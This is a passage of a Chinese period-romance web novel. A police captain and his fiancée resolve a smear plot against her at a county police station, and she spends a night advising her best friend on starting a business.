“当然认识。”小马说:“这是咱们所里请来讲课的楚队长,是京市市局的刑警队长,怎么不认识?” 麻鼎安张大了嘴。 小马看着麻鼎安手脚都别扭的样子,笑了一声:“你竟然跟楚队长动手,真是……啧啧,胆子跟块头一样大。就是有点不知天高地厚。” 安暖疑惑地看了一眼楚隽。 不对劲,在她不知道的时间里,一定还发生了其他的事情。 不然的话,小马不会说出这话来。 刑警队长虽然听起来很厉害,但并不会叫人直接联系上特别能打。而麻鼎安,一看就是一身蛮力的那种。 小马却毫不犹豫,完全没有任何怀疑的确定,楚隽可以打的麻鼎安满地找牙。 是什么给了他这样的判断? 她脑子瞬间转了起来。 今天在家里的时候,楚隽没有什么奇怪的举动。但是,今天他洗完澡之后,衣服扣子比昨天多扣了两颗,遮掩得比较严实。 楚隽这人,在外面一丝不苟,严严实实的。在家里,特别是他们俩确定关系以后,颇有种孔雀开屏的心思。时不时的就露一露什么。 安暖的目光立刻看向楚隽的衣领。 楚隽正在和小马说事情,倒是没注意。 “事情就是这样。”楚隽说:“唆使他的人,也是县城里的人,我想,应该把他们都传唤来,调查一下。” “没问题。”小马说:“楚队你放心,这事情,我们一定给查个清楚。” 女同志的名誉被人诋毁,这是大事。这就是妥妥的流氓罪啊。 更别说这个受害者还是局里老同志的女儿。 将麻鼎安送到派出所,安暖能做的事情也就算是做完了。后期怎么查,传唤谁,那是民警要做的事情了。楚隽虽然是刑警,但也不是当地派出所的,其不好太插手当地的案子。 “那我们就先回去了。”楚隽说:“马同志,麻烦你了。” “不麻烦不麻烦。”小马说:“楚队长,小安,你们赶紧回去休息吧。明天还要辛苦呢。” 今天楚隽在派出所讲课,小马也去听了半天,只觉得受益匪浅。 他可不想让楚隽今天熬夜,明儿还上课呢。 麻鼎安看着楚隽和安暖开车走了,只觉得欲哭无泪。 红婆也欲哭无泪。 她手里还拎着麻鼎安买的四样礼呢,这会儿上不上下不下的。 楚隽和安暖麻溜儿地走了。 本来楚隽是要开车的,但是安暖先一步上了驾驶室。 路上,安暖道:“对了,你今天在局里打架啦?” 楚隽吓了一跳,脱口而出:“没有啊。” “哦。” 安暖就问了一句,也没有再追问,这事情暂时就算是过去了。 楚隽心理有点不安,总觉得安暖这姑娘,不好糊弄。 “对了。”安暖说:“今天的事情,我要跟你解释一下。” “嗯?”楚隽说:“你不是已经跟我说过了吗?我都听明白了。” “那……你相信我吗?”安暖转头看楚隽一眼:“我和这个麻鼎安,我们真的就是买肉说过几句话的关系。其他什么都没有。” “当然相信。”楚隽笑了一下:“你之前是怎么说的来着,就算是可以不相信你的人品,也不能不相信你的眼光。” 安暖哈哈哈一笑。 “那是玩笑话,其实人品也是要相信的,当然,眼光更要相信。” 都好,都好。 两人回家,关门休息。 能休息的房间就那么一个,都一起睡了两个晚上了,也不在乎再多睡两个晚上。 进了房间,关了门,安暖就脱了外套,脱了鞋上床了。 拱啊拱啊拱的,盖上被子。 楚隽也脱了外套,打算走到另一边爬上床睡觉。不过还没有上床,就被叫住了。 “等一下。”安暖说着,拍了拍自己面前的床:“过来,坐。” “怎么了?” 楚隽虽然好奇,还是听话走了过去。 安暖特别直白地说:“给我看看胸肌腹肌。” “……” 楚隽虽然大部分时间皮还是挺厚的,但有时候也没有那么厚。 “你怎么……怎么这样?”楚隽躲开一些安暖的视线:“好歹是个大姑娘,矜持点。” “这里又没有外人,矜持给谁看?”安暖装傻,并且直接上手:“别矜持了,给我看看。你刚才教训麻鼎安的时候,特别帅气。” 楚隽连忙按住安暖的手。 “等一下,等一下。”楚隽说:“今天累了,咱们早点睡吧。明天再给你看。” “不行。”安暖坐起来,扑过去:“我今天非要看看不可,不看我今晚睡不着觉。” 虽然安暖打不过楚隽,但是楚隽在安暖面前战斗力也不行,只能左躲右闪,最终被惨烈扑倒在床上。 安暖抬腿就跨了上去,坐在楚隽腰上,将人按在床上。 ”别动。”安暖凶道:“不然我不客气了。” “别,别这样。”楚隽见她一边笑一边喘气,担心地扶着她的腰:“别摔着了。” 安暖喘匀了,将楚隽的手从腰上扒拉下来,四下一看,窗边有她的发带。 于是伸手就将发带给拽了过来,将楚隽的两只手腕并在一起,缠绕起来。 强制爱嘛,她懂。 第276章 家庭地位 楚隽虽然见多识广,但是也没有亲身体会过这样的事情,着实在有点紧张。 安暖绑着他手腕的发带,轻轻松松就能挣开,但是她不敢。 这不是一种斗争,这是一种态度。 “暖暖,你看……”楚隽弱弱地道:“咱们尚未成亲,这样……是不是不太好?” “呵呵。”安暖敷衍一笑:“挺好的,你别动,躺着就行。今天这胸肌腹肌大长腿,我是非看不可的。” 楚隽有点紧张,但是眼下这场面,也没有其他办法。 他又不能把安暖掀下去,也不能真的落荒而逃。 安暖不是那么好糊弄的。 她今天这么执着的扒自己的衣服,显然是另有目的。 楚隽叹了口气。 “瞒不住你……” “瞒不住还瞒?我看你是想要犯错误啊。” 安暖解开楚隽领口的扣子,一颗又一颗。 果然,在锁骨的地方,有一片青紫。 “果然受伤了,我就感觉有点不对劲,小马怎么知道你能打,都要睡觉了,衣服还扣那么严实……”安暖摸了一下:“你这是跟谁打架了?冯向文?” “有他,但也不全是。只是大家切磋了一下,点到为止。” 楚隽反正已经被发现了,也就不遮着掩着了,放松地躺在床上,衣衫敞开,两只手腕还被绑在一起,举过头顶。 幸亏他看不见自己,不知道自己这样子十分秀色可餐。 “你不是去讲课的吗?怎么会跟他们切磋起来?”安暖继续往下解扣子:“其他地方还有吗?” “嗯……腰上还有一块……”楚隽现在破罐子破摔了,甚至扭了扭腰:“这边。” 晚上要睡觉了,没穿正装,换上了睡衣睡裤,松紧带的腰身。 安暖毫不客气地往下扒拉了一下。 果然腰上也有一块青紫。 “还有其他地方吗?” “没有了,真的没有了。” “那你别动,我用药酒给你揉揉。” 安暖爬起来,从行李里翻出药酒。 他们这是什么运气啊,一路都离不开药酒。 将药酒倒在手上搓热,给楚隽搓揉青紫的地方。虽然不管他过几日也就消散了,但总是不忍心。 安暖的力气是不大的,但这么一通按,楚隽也出了一身汗。 等终于按完了,楚隽松了口气。 “刚才的澡是白洗了。”楚隽坐起来:“我再去冲一下。” 安暖先是应了一声,然后突然反应过来:“哎,你等一下。” “怎么了?” “我不是绑着你的手吗?什么时候挣脱的?” 楚隽笑了一下:“就你这点小手段,能绑住我?你也太看不起我了吧?你未婚夫……好歹是刑警队长。” 安暖撇了撇嘴:“你以为这是手段的问题吗?不,这是家庭地位的问题。我绑着你,你竟然敢挣脱?男人,你这是在玩火?” 楚隽无言以对。 大意了。 确实,都已经装了那么长时间,就应该再多装一会儿。 这是妥妥挑衅权威啊。 “错了,我错了。”楚隽立刻认错:“以后你再绑我,我一定等你气消了,亲自解开。” 楚隽过来,用脑袋蹭着安暖的脸,蹭了蹭。 安暖推开楚隽的脑袋,拿了条大毛巾过来。 “没有热水了,又晚了,不要洗了,免得着凉。”安暖说:“只是出了一些汗,打一盆水擦了擦吧。” “行。” 楚隽下了床,就用暖瓶里的水倒在盆里,加了点冷水,擦了擦身体。 房间里一股药酒的味道,楚隽一边擦,一边说:“把窗子打开透透气吧,不然怪熏人的。” 安暖走到窗边,推开窗子,一阵风便吹了进来。 虽然谈不上寒风凛冽,但也怪冷的。 然后她就飞快的窜上了床。 幸亏不是一个人睡,虽然没有空调电热毯,但是有楚隽,晚上也不怕冷。 楚隽擦了身体以后,也上了床。 这一天虽然好像没什么事情,但还真有些累了。 安暖长长呼出一口气:“人和人之间的关系啊,真是复杂,就不能单纯一点,简单一点吗?” 楚隽在被子下面,小心翼翼搂住腰。 “也有单纯简单的,你看我们俩的关系,就挺单纯的。”楚隽说:“睡觉。” 躺在一张床上的关系,也算单纯吗? 安暖迷迷糊糊的睡了。 第二天早上起来的时候,窗子已经关上了。 有香味从外面飘进来。 安暖坐起来抓了抓头发,迷迷糊糊的想,难道楚隽一大早起来做早饭了? 这不可能吧。 楚隽虽然是个很体贴,且没有大男子主义思想的男人,但是在做家务这件事情上,是不擅长的。 不排斥,也能做,但是不擅长。毕竟从小有人做,是个实打实的大少爷,没有亲自动手的习惯。 穿衣服出了房间,楚隽正好要进来。 “醒了?”楚隽说:“正好要叫你起来吃早饭。” 今天还有事情呢,不能睡太晚。 楚隽约好了时间,一早要去派出所上课的。还有昨晚上的事情,今天肯定也要处理出一个结果来,安暖也是要出现的。 安暖一看,堂屋的八仙桌上,摆了好几个碗和盘子。 “你做的早饭?” 她走过去一看。 有鸡蛋饼,有当地人常做的炒粉,还有一碗米粥。 碟子里,有剥开的咸鸭蛋和自家腌制的萝卜干。 特别家常的早点。 “我哪有这个本事。”楚隽说:“这是让隔壁婶子做的,放心,我给了钱的。你难得回来一次,天天在外面吃。我想着,你可能想吃点自家做的。” 饭馆里的饭菜和在家做的饭菜,终归是不一样的感觉。 安暖去洗漱了,回来捏了一块鸡蛋饼放在嘴里。 “嗯,好吃。” 安暖很满意。 她的要求也很简单,有心就行,不是那么矫情的非要楚隽自己下厨的。毕竟她自己在这方面也不在行。 吃了饭,两人将碗筷洗了送回隔壁去,一起去派出所。 按计划,他们还要在县城待两天,这两天,要把事情都解决了才行。免得日后又有牵扯。 “你放心去上课。”安暖说:“这事情我自己能搞定。 第277章 麻烦交给我 麻鼎安只有四肢发达,其他都不行。有时候一腔孤勇,但冷静下来之后,胆子也没有那么大。 昨天开始还挺讲义气,觉得闻迎蓉是为了他好。 但是听说要被抓,就什么也顾不上了,哗啦啦的把能说的都说了。 一早,派出所就去了人,将闻迎蓉和宋永峰都给叫来了。 三人对峙。 闻迎蓉和宋永峰脸都有点黑。 这事情和他们预想的完全不一样啊。 “这事情跟我们可没有关系。”闻迎蓉当下就道:“安暖回来了的消息确实是我告诉麻鼎安的,可是这也不犯法啊。我知道麻鼎安喜欢安暖,上门提过亲,看见他就告诉他一声,这不是人之常情吗?” “对,就是。”宋永峰在一边帮腔:“警察同志,我这是君子成人之美,我们可没有什么坏心思。” 安暖找过去,正好听见这么一句。 一听,火冒三丈。 啪一声,安暖推开了门。 屋子里的人一起看她。 “安暖。”闻迎蓉一看安暖,高声喊道:“是不是你胡说八道,污蔑我们。警察同志才把我们抓来的?你这人怎么这么恶毒?” 幸亏这是在派出所,而且安暖也不是个善于动手的人设,要不然的话,可能说话之前要先一巴掌拍过去。 “喊什么!”一旁的民警先瞪了闻迎蓉一眼:“好好说话。” 闻迎蓉毕竟心里有鬼,还是有点害怕的,被瞪了一眼,缩了下脖子。 “是我报警的,怎么,我不该报警吗?”安暖走到闻迎蓉面前:“你说你们是君子成人之美,我问你,昨天我们中午碰见的时候,我是不是明确的跟你们说,我是和我未婚夫一起回来的。你们还怂恿麻鼎安半夜来找我,这是什么居心?你不是想让我美,你是想挑拨离间,坏我名声吧?” 这事情好就好在,楚隽和她之间有充分的信任。 但凡换一个心眼小,爱吃醋,心思重的,肯定要多想。 即便是解释之后,相信她和麻鼎安之间确实没有什么关系,心里也是难免膈应的。 所以安暖非常生气。 两个人的感情,有考验有波折,这是可以的。但凭什么你们来考验? “没有,我没有。”闻迎蓉嘴硬:“绝对没有。我以为你是瞎说的,再说,我也没想到,麻鼎安真那么冲动会去找你。” 麻鼎安一听也怒了。 “胡说,就是你们说,让我想办法把这事情闹的人尽皆知,到时候安暖的名声没了,跟未婚夫闹掰了,我就有机会了。可你们没说,安暖的未婚夫也是个警察啊……” 麻鼎安那叫一个郁闷。 以前被安暖的父亲收拾过。 现在又被收拾了。 昨晚上他可是被楚隽暗搓搓教训了一顿的,下手那叫一个黑,一点儿没伤痕,但是痛的就像是他杀的猪。 三个人吵成一团,民警连吼了几声这才安静下来。 但还是谁都不服气谁。 安暖觉得有点头痛。 这事情,麻鼎安说是被唆使的,她也相信是这么回事。但闻迎蓉和宋永峰不承认。 麻鼎安又不可能有什么录音录像的,他们俩不承认,谁也没有办法。 而且,因为没出事。麻鼎安又是打着请媒婆上门提亲这样光明正大的理由,就算是承认了,追究也是有限的。 还只能追究他,追究不到闻迎蓉和宋永峰身上。 安暖觉得特别不高兴。 这亏,可不能就这么吃了。 安暖皱起眉头,一边听三个人吵成一团,一边回忆。 宋永峰,他是做生意的,做的是棉花生意,买进卖出,赚个差价。所以和他们服装厂有一些业务往来。 具体的就不知道了,她毕竟和宋永峰不熟,只是几年前见过两面罢了。 但是,做生意这事情,有老实的,就有不老实的。 就宋永峰这样的人品,他的生意,估计老实不到哪里去。 安暖决定,既然派出所收拾不了他,就想想别的招。 一番吵闹之后,这事情果然和安暖想的差不多。 麻鼎安是被安暖抓现行的,没有办法可以抵赖。 但是闻迎蓉和宋永峰两人死不承认,麻鼎安没有证据,有苦说不出,只能眼巴巴的看他们离开。 安暖也不至于因为这个要了麻鼎安的命,两边协调,让他赔了一百块钱,并且当面道歉,这事情就算过去了。 一百块钱虽然不少,但麻鼎安也掏的出来。道歉虽然丢脸,但差一点都要坐牢了,丢脸就不算什么了。 等楚隽上完上午的课,安暖已经在等他吃中饭了。 “怎么样?”楚隽说:“麻鼎安的事情解决的如何了?” 于是安暖就这样那样,那样这样的说了一番。 “明白了。”楚隽说:“麻鼎安是把枪,但是幕后真凶,现在没有证据。” “是。”安暖啃了一块排骨:“不过我确定就是他们,你是不知道,他们走的时候有多得意。” 楚隽道:“那你打算怎么办?” 安暖是个有想法的人,可能自己有想法。 “我想对付宋永峰。他是生意人,就这人品,做生意肯定不地道。只要查,一查一个准。闻迎蓉现在那么得意,就是仗着宋永峰有钱,只要宋永峰的生意黄了,她就得意不起来了。” 安暖以为楚隽是会支持她的,毕竟这个办法虽然麻烦的点,但是不错。 可是没想到,楚隽只是笑了一下。 “没有必要那么麻烦。” “嗯?” “你啊,还是光明正大了一点。” 安暖真是意外了,楚隽竟然会这么形容她。 是,她是光明正大,但是在这件事情上,她想干得,难道不是已经有点偷偷摸摸了吗? “这件事情交给我。”楚隽非常笃定道:“明天就有结果。” 安暖狐疑道:“你……打算怎么办?” “不告诉你。”楚隽说:“对了,明天你就知道了。” 就算宋永峰生意上有手段有漏洞,那不是一时半会儿可以找到的。他们在县城的计划只有两天了,大后天就要走,也不好一件事情又一件事情的拖着。 这完全是个意外,楚隽打算用更简单的方法解决。 第278章 闺蜜夜谈,兄弟出手 见楚隽信誓旦旦,安暖也就选择了相信他。楚隽是什么人,什么凶神恶煞的罪犯都见过,自然能轻轻松松地搞定宋永峰。 吃了中饭,楚隽依然回去上课。 安暖出了派出所,去找邵静荷。 虽然这是原主的闺蜜姐妹,可是昨天聊了一阵子之后,安暖十分喜欢她。 有记忆归有记忆,真正的听见看见,又是另一回事。 安暖想要找邵静荷陪着,买一点本地的土特产,带回去当礼物。 虽然京市什么都有好的,但既然是回老家,总要带点特产,算是这么回事。 两人逛了一下午。 意犹未尽。 安暖提出去饭馆里请邵静荷吃饭。 邵静荷拒绝了。 “下馆子多贵啊,咱们买点菜,回去自己做吧。”邵静荷说:“我下厨,你不是很喜欢吃我做的菜吗?” 安暖最喜欢厨艺好的姑娘,当下立刻就应着。 “行,那我来买菜,去我那里烧。”安暖说:“我那儿什么都有,等这顿做完,多了没用完的米面油盐什么,你都带走。” “啊?” “后天我就要走了。”安暖解释道:“用不上那些东西,留在家里也是浪费。你都带走回去,不是都能用吗?” 之前楚隽给了邻居大婶一点钱,本意是让他们送点柴,煤什么的,让他们这几天方便点。 没想到送多了。 毕竟太少楚隽也不好意思拿出手,又考虑着,左邻右舍的,以前肯定没少照顾安暖,于是给的也不少。 让婶子特别不好意思,干脆好事做到底,想着他们要住好几天呢,说不定要做两顿饭。于是厨房里常用的,包括米面什么的,都送了点。 谁知道他们除了烧水根本不开火。 邵静荷知道安暖这次回来住不了几天,但是听她又说一遍,还是觉得有点伤感。 “真舍不得你。”邵静荷说:“你跑那么远,结婚为也不知道能不能参加。” “肯定能。”安暖说:“等我要结婚了,我就给你打电话。到时候我给你买票过去,给我做伴娘,穿得美美哒。” 闺蜜在一起,总是有各种憧憬。 邵静荷听着高兴了:“好,那我一定去。” 两人不去饭店,去了菜市。 蔬菜,鱼,肉,买了好几样。 这个年代的女人,大部分是贤惠的,不管是结了婚的还是没结婚的,都会做饭。 邵静荷也会,其实安暖也会,只是记忆里熟练,现实中不熟练罢了。 安暖去派出所给楚隽留了个言,就开车带着邵静荷回家了。 副驾驶坐着闺蜜的感觉,也很不错。安暖觉得,这一刻她就是霸总本霸。 回了家,开始切切洗洗。 安暖烧火,邵静荷炒菜。 很快,一桌子菜就出来了。 楚隽有眼力劲儿,不打扰她们闺蜜叙旧,今天特意在派出所吃了晚饭才回。 回到家里一看,两个姑娘已经吃完了。 这会儿,正在安父的房间里。 看起来都在床上,一拱一拱的,幸亏是两个姑娘,不然他都要瞎想了。 楚隽有点奇怪,这是要干什么。 楚隽敲了敲门。 “暖暖,我回来了。” 安暖一听,从床上爬下来了。 邵静荷也赶忙从床上下来。 楚隽看出来了,她们俩在铺被子。 哪儿来的被子?安暖她们家,不是没有多余的被子了吗? 安暖一边穿鞋,一边说:“你回来啦,快来,我给你介绍我的好姐妹。” 邵静荷站在安暖身边,打量楚隽。 “这是邵静荷。”安暖说:“这是楚隽,就是和我定了娃娃亲的未婚夫。” 两人互相打量一下,当然楚隽只是看了一眼。 对着未婚妻的闺蜜看太多,是不礼貌的行为。 邵静荷也很含蓄。 总体来说,大家都很客气。 楚隽奇怪道:“这被子哪儿来的?” “哦,从隔壁借的。”安暖说:“今天晚上,静荷在我们这里睡,我想和她多聊聊。” 楚隽明白了。 很正常,他出门和多年未见的兄弟见面,也会畅谈一夜的。 现在这小姐妹,一定有很多话要说。 “好。”楚隽说:“这被子够暖吗?要是不行,我去所里在借一床。” “应该是够的。”安暖拍了拍:“要不你摸摸,试试看。” 楚隽脑子顿了一秒钟,立刻明白了。 得,这不是给邵静荷睡的,这是给自己睡的。 也是,今晚是安暖和邵静荷打算窝在被子里说说闺蜜的悄悄话,当然不会带他一个。肯定是要他独守空房的。 更何况,他和安暖还没结婚,没人的时候,偷偷摸摸睡一起还行。有人在,其实还是要避嫌的,不然要被人戳脊梁骨的。 “嗯,挺好的。”楚隽装模作样摸了摸:“你们俩好好聊,晚上我还有点事情,晚一点回来。” “这么晚还有事?”安暖奇道:“去干嘛?” “明天你就知道了。”楚隽笑了一下:“邵同志,你和暖暖慢慢聊。我先出去。我没回来如果外面来人,不要开门。我已经和隔壁打了招呼,你们在里面喊一声,他们家两个小子就会过来。” 邵静荷还没多想,安暖知道他要干坏事去了。 有心想问一声,但想想算了。 楚隽做事是有分寸的,没什么好担心的。 “那你早点回来。”安暖说:“要是回来晚了,你动作轻点,别吵我们睡觉。” 瞅瞅,这是多贴心的嘱咐啊。 “好。”楚隽拿着车钥匙走了。 院子门关上了。 楚隽走出院子,便看见院子对面,蹲着个黑影。 还有一点一点的火光闪亮,黑影在抽烟。 “走吧。”楚隽说了一句。 那黑影站起来,正是冯向文。 冯向文将烟在地上熄灭了,上了越野车副驾。 不过他的脸色不太好,看得出来,这会儿心情也不太好。 “我真是疯了。”冯向文说:“竟然答应跟你去套人麻袋。” “瞧你说的。”楚隽淡淡道:“可不是我要你去的,是你自己要去的。区区一个宋永峰,我一只手也能搞定。” 冯向文冷笑一声:“强龙不压地头蛇,我可不是想帮你。但我不能任由人给小安泼脏水。” 第279章 一起赚钱 两人就这么走了,越野车开进夜色中,消失不见。 他们没想到的是,院子里,邵静荷和安暖都溜出了房间,左边一个,右边一个地躲在大门后面。 听见车远去的声音,一直到那声音消失不见,邵静荷才忍不住道:“暖暖,他们这是要干什么去?” 安暖说:“行侠仗义去。” 教训教训宋永峰这样的人,怎么不算是做好人好事呢? 宋永峰既然能在这件事情上泼她脏水,做得如此熟练,就证明没少干这种事情。 这种人教训教训,让他长点记性,以后也避免他坑害别人。 “行侠仗义?”邵静荷想了想:“你确定?不会出事吧?” “确定一定以及肯定。”安暖说:“放心吧,两个人都是有分寸的,不会瞎来的。” 冯向文是不是有分寸安暖不确定,但楚隽肯定是有分寸的。 两个刑警队的人,要是连这点小事儿都办不好,那就丢人了。 邵静荷不相信两个男人,但是相信安暖。 安暖说没问题,那就没问题了。 两人仔细检查了一下院子门是不是锁好了,就进了房间。 桌子上放着各种吃食,邵静荷甚至还带了一瓶酒。 “这个就……夸张了吧?”安暖连连摆手:“我可不行,我喝两杯就醉了。” “不会的,这是我自己酿的果酒,度数很低的,不醉人。”邵静荷打开酒瓶,递给安暖。 安暖闻了闻。 闻起来倒是挺香甜的味道,不是冲人的酒味。 “真的度数不高?”安暖再三确定:“到时候我发酒疯打你,你可别喊啊。” “……” 邵静荷真是被吓唬住了。 她拿了个空杯子,掂量又掂量,给安暖倒了一点点。 “就这么多,你尝尝。”邵静荷说:“这么点你要是能喝醉,挨打我也认了。” 安暖抿了一下。 嗯,行,味道不错。 两个姑娘吃吃喝喝地聊了起来。 聊天的内容,不外乎那些事情。 之前邵静荷没见过楚隽,只知道他是大城市的人,没有具体概念。 现在见着了,感觉不一样了。 楚隽长得可真好看啊,还彬彬有礼的,对安暖特别重视的样子。 这种男人,打着灯笼也不好找啊。 邵静荷来了兴趣,迫不及待道:“暖暖,你给我说说你和楚队长的事儿呗。” “什么事儿?” “就……你们俩怎么看对眼的?”邵静荷八卦满满:“你之前也没见过他,这趟去不过月余,就谈婚论嫁了,那你们是一见钟情吗?” 安暖想了想:“那还真不是。” “那是……二见钟情?” “也不是……”安暖正色说:“开始算是英雄救美,后来,针锋相对。再后来,他忍辱负重……最后,他被我的美貌和才能吸引了,甘愿成为我的裙下臣。就这么简单。” 安暖总结完毕。 邵静荷目瞪口呆。 “事情就是这么个事情。”安暖说:“情况就是这么个情况,也算是缘分天注定吧。” 邵静荷十分佩服。 “真好。”邵静荷说:“暖暖,你从小和安叔叔相依为命,可安叔叔去得又早。看着你一个人,我一直很担心。如今,又有人陪着你,照顾你了,我真的很高兴。” 安暖也很高兴。 楚隽是两个小时之后回来的,去的时候两个人,回来的时候只有他一个人。 车开到门口,下了车,正要敲门,想了想,走到一旁,翻墙进了院子。 院子里很安静,可能安暖已经睡了。 院子门是从里面锁上的,他不想敲门,吵着安暖休息。 自己偷偷摸摸地溜进去就好了。 楚隽进了院子才发现安暖的房间还亮着灯,人还没睡。 他突然就起了点好奇的心思。 不知道闺蜜之间聊天,会聊什么呢? 会聊他吗? 安暖会怎么在朋友前说他呢? 是很满意,还幸福,还是有什么不满意? 楚隽这么一想,就放轻了脚步,轻手轻脚地走到了窗子外面。 只听房间里,安暖说:“改革开放万象更新,现在正是赚钱的风口浪尖,遍地都是黄金。静荷,如果你不想一辈子待在县城,不想随便由人介绍一门婚事,然后下半辈子生孩子带孩子做家务,就这么过一辈子的话,就要勇敢地闯一闯。” 这个年代,是生机勃勃的年代,是上山下海的时代,做生意,是最便捷,最快速来钱的方式。 安暖有自己的人生规划,没有太多时间去研究生意。 但是她一直也在考虑。 自己提前知道的那些信息不能浪费,要么,生意自己做,要么,找个人一起做。 赚钱一起分。 别看邵静荷只是个县城里的姑娘,也只不过是初中毕业,可安暖在服装厂里拿死工资的时候,她可是走街串巷地卖过货呢。 甚至在管理还严格的时候,偷偷摸摸去过黑市,安暖还跟着提心吊胆了一阵子。 楚隽本来还以为两人会聊一些闺中八卦,打算随便听一耳朵就罢,听多了也不好意思。但没想到两人聊着聊着,越聊越慷慨激昂。 邵静荷想做生意,但本钱有限,又没有出去过,一时很犹豫纠结,不知道往哪个方向发展。 安暖现在能给的帮助也不多,提了一些建议,还拿出五百块钱。 这是之前爷爷给的钱的一部分。 “这些钱给你做本钱。”安暖说:“不要有心理负担,做生意嘛,交学费很正常,赚钱赔本都很正常。心态要好,既要懂见好就收,也要能敢想敢拼。” 这钱不多也不少,大生意做不了。可是邵静荷没有经验,也必须从小生意开始磨炼。 邵静荷怎么能愿意说安暖的钱,说什么都不要。 最终还是被安暖塞进了口袋。 “你把钱都给我了,你怎么办?” “我身上还有一些。”安暖说:“而且,我现在吃住都在楚家,也没有什么花钱的机会。” 邵静荷是真心替安暖着想,有些担忧:“暖暖,我知道你和楚队长感情好。可你们毕竟没有结婚,你总是花他的钱,也不太好。” “我知道,你放心。”安暖笑道:“我心里有数。我是不是贪便宜爱财的人,你难道不知道吗?感情归感情,我会努力,我会赚钱,不管我和楚隽以后感情如何,我绝对不会让楚家吃亏。” 要么,很多很多的爱。 要么,很多很多的钱。 当然,如果有爱,也会有钱。 第280章 未来可期 楚隽最终还是没有打扰安暖和邵静荷说话。 他在窗台下偷听了半天,越听越正经,越听越严肃。 安暖给邵静荷出了不少主意,虽然一听就是没有真正做过生意的人,但是不得不承认,大局观和对未来形势的预测,独特而准确。 有一些观念和方向是楚隽也从没有听过的,可是从安暖口中说出来,仔细一想,确实是这么回事儿。 这一天晚上,楚隽从心里对安暖又有了新的认识。 他甚至想和安暖谈一谈。 问问她,你之所以选择做刑侦的工作,是不是因为他是刑警? 想要他们俩靠近一些,有共同语言。 还是说是真的喜欢这个工作? 楚隽之前从未想过这个话题,如今却害怕安暖因为选择他,而丢失了自己的擅长。 每一个行业都可以让人发光发热,三百六十行,行行出状元。如果安暖喜欢做生意,想要做生意,他当然也会支持。并且愿意在京市帮她拉关系,找人脉,提供资金。 让她的路,走得更顺畅。 第二天,虽然很困还是正常起床。 安暖和邵静荷两人昨夜聊得尽兴,快四点才睡。 推开门,楚隽已经起来了,并且已经准备好了早点。 他非常自觉地把自己放在这个家男主人的位置上。 既然他是男主人,那邵静荷自然就是客人,所以吃的喝的要招待到位,不然就是失礼。 楚隽听着开门的声音,抬头一看,两人从房间里走出来,便道:“你们起来了?洗漱了过来吃早饭吧。” 今天桌上的早饭是街上买来的一些点心。 安暖先是打了个哈欠,伸了个懒腰,然后看了看楚隽,奇怪道:“你昨天什么时候回来的?” 她看楚隽的样子好像也没睡好。 昨天晚上,开始的时候,安暖还总是竖着耳朵听听外面的动静。 要是回来得早,可以问问他事情到底发展得怎么样? 不担心归不担心,可好奇还是有的。 宋永峰使这么歹毒的见不得人的法子害她,她很想知道楚隽有没有打得他满地找牙。 可听了半晌也没听见楚隽回来,后来又喝了两杯酒,就顾不上了。 她对楚隽的放心,不是一点两点的放心,更何况还有冯向文陪着。这两个人在县城要是都不能如鱼得水,那也别混了。 “十二点前就回来了。”楚隽说:“我回来的时候你们还没睡呢。” 安暖更奇怪:“回来得那么早,怎么没喊我开门?” 楚隽道:“开始没喊,是怕你已经睡了。进来发现你们没睡,但想着你们可能已经上床躺着聊天了,就没吵你们了。” “哦……”安暖拿起一根油条啃了一口,若有所思。 邵静荷坐在桌边,接过楚隽递过来的八宝粥,高兴地说:“谢谢楚队长。” 然后她又用胳膊肘戳了戳安暖。 “暖暖,你未婚夫可真体贴。” 楚隽脸上写着,哪里哪里,一般一般。 啃了两口油条,安暖忍不住道:“你们昨天对宋永峰怎么样了?” 她倒要看看,两个正义使者,能干出什么惊世骇俗的事情来。 “也没干什么。”楚隽谦虚道:“就是请他出来聊了聊。” 坦白身份了? “三分之二吧。” 坦白就坦白,没坦白就没坦白,三分之二,这是什么意思? 楚隽解释:“我们看见他了,他没看见我们。但是,他听见了我的声音,应该知道我的身份,所以,算是三分之二。” 安暖给楚隽竖起一个大拇指,你可真是个严谨的人啊。 “然后呢?” “其实很简单。”楚隽说:“宋永峰是做生意的,胆子没有你想的那么大,他并不敢得罪谁。如果日后你一个人在县城,我还要担心会不会被打击报复。可我们明日就会离开,你在这里又没有其他亲眷,宋永峰就算是想报复,也没处报复。” 这是楚隽最庆幸的一点。 打也就打了,威胁也就威胁了。 没有软肋,就没有以后。 至于闺蜜什么的,那都是远一些的关系了。够不上的。 不想让自己的形象受到损害,楚隽就简单地说了一下,一切尽在不言中。 说完之后,拿了块饼在手里。 “我去所里了,暖暖,邵同志,你们慢慢吃。” 安暖放下筷子:“今天那么早吗?” “车留给你,我走过去。”楚隽说:“邵同志如果有什么想去的地方,你开车带她去,也方便一些。不过多少也要注意些,不要去偏僻的地方。想去哪里,提前给我打电话说一声。” “行,没问题。”安暖摆摆手:“走吧。” “有车真方便啊。”邵静荷感慨道:“我要是什么时候能买辆车,那就好了。” 安暖安鼓励她:“好好干,就有希望。” “嗯。” 邵静荷握了握拳头。 财帛动人心,这没有什么问题。 只要不走歪路,这就是促人向上的力量。 吃了饭,两人便研究了一下。 邵静荷一直想去隔壁县城买点东西,但是车不方便,当天不能往返,还要住一夜,于是一直磨蹭拖着。 如今有了车,确实可以用用。 “现在是八点,开车过去三个小时,正好去吃个中饭。咱们逛两个小时,三点回来,到家天还没黑。” 行程算得清清楚楚。 邵静荷觉得,自己从没有如此轻松地出过门。 “真好,我都有专车接送了。”她舒舒服服地靠在副驾驶:“小安司机,好好开,开稳当点。” “好嘞,邵总,我开车一向稳当,您坐好了。” 邵静荷看了一会儿风景,转头看安暖。 “你在京市,一定没少开车,不然不能那么熟练。” “嗯,在那边经常要跑来跑去的,有时候路上时间长,两个人换着开不会累。” 邵静荷转头看安暖。 “你说,我什么时候,也能去那么大的城市呢?” “两种情况下。”安暖竖起两根手指:“第一,我靠自己站稳了。第二,你的生意游刃有余,有独当一面的能力。” 邵静荷心情沉重地皱起了眉头。 “不着急。”安暖说:“我们还年轻,我们的国家正在发展,而且会发展得越来越好,机会会越来越多。” 谁说从她们这小小的县城里,就不能走出未来的商界大佬呢。 第281章 碰瓷 安暖很乐观邵静荷虽然没有那么乐观但也被感染了。 年轻就是朝气蓬勃。 如果邵静荷已经结婚了有孩子了那可能做什么事情都畏首畏尾有所顾忌了。但现在还是有无所畏惧的精神。 楼阳县虽然只是个县城但比东兰县要繁华热闹许多。 安暖之前一年也会来上两趟特别是过年之前会来楼阳县的大集市采买年货路也都是认识的。 